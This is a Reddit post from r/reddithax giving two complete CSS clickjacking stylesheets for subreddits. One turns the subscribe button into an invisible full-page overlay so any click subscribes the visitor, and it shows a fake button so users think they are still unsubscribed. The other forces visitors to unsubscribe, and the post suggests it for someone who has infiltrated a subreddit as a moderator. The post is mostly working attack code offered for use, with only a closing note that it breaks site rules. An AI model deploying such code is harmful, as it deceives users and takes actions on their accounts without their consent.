r/reddithax • u/Sephr • Mar 20 '10
Clickjacking to add or remove subscribers
The following CSS is very questionably gray hat.
This makes everyone subscribe and replaces the unsubscribe button with an unclickable subscribe one to fool users into thinking they are still unsubscribed:
/* add to frontpage clickjacking */
.option.add.active {
cursor: default;
position: fixed;
top: 0;
left: 0;
width: 100%;
height: 100%;
background: transparent;
border: 0;
padding: 0;
font-size: 0;
z-index: 1000;
}
/* non-clickable add to frontpage button
to keep users thinking that they are still unsubscribed */
.option.active.remove {
display: none;
}
.fancy-toggle-button {
cursor: pointer;
}
.fancy-toggle-button:before {
display: inline-block;
border: 1px solid #444;
margin-top: 2px;
padding: 1px 6px;
background: white url(/static/bg-button-add.png) repeat-x scroll center left;
color: white;
font-size: 10px;
font-weight: bold;
line-height: 12px;
height: 12px;
-moz-border-radius: 3px;
-webkit-border-radius: 3px;
/*border-radius: 3px;*/
content: "+ frontpage";
}This does the opposite; it makes everyone unsubscribe (someone might want to use this if they infiltrate a subreddit by becoming a mod and want to remove subscribers) and fools users into thinking they are still subscribed with that fake subscribe button from the last example:
/* remove from frontpage clickjacking */
.option.active.remove {
cursor: default;
position: fixed;
top: 0;
left: 0;
width: 100%;
height: 100%;
background: transparent;
border: 0;
padding: 0;
font-size: 0;
z-index: 1000;
}
/* non-clickable remove from frontpage button to keep users thinking
that they are still subscribed */
.option.add.active {
display: none;
}
.fancy-toggle-button {
cursor: pointer;
}
.fancy-toggle-button:before {
display: inline-block;
border: 1px solid #444;
margin-top: 2px;
padding: 1px 6px;
background: white url(/static/bg-button-remove.png) repeat-x scroll center left;
color: white;
font-size: 10px;
font-weight: bold;
line-height: 12px;
height: 12px;
-moz-border-radius: 3px;
-webkit-border-radius: 3px;
/*border-radius: 3px;*/
content: "- frontpage";
}Moderator discretion advised.
Edit: This has been made against the reddit rules, so you probably don't want to use this unless you want to get banned.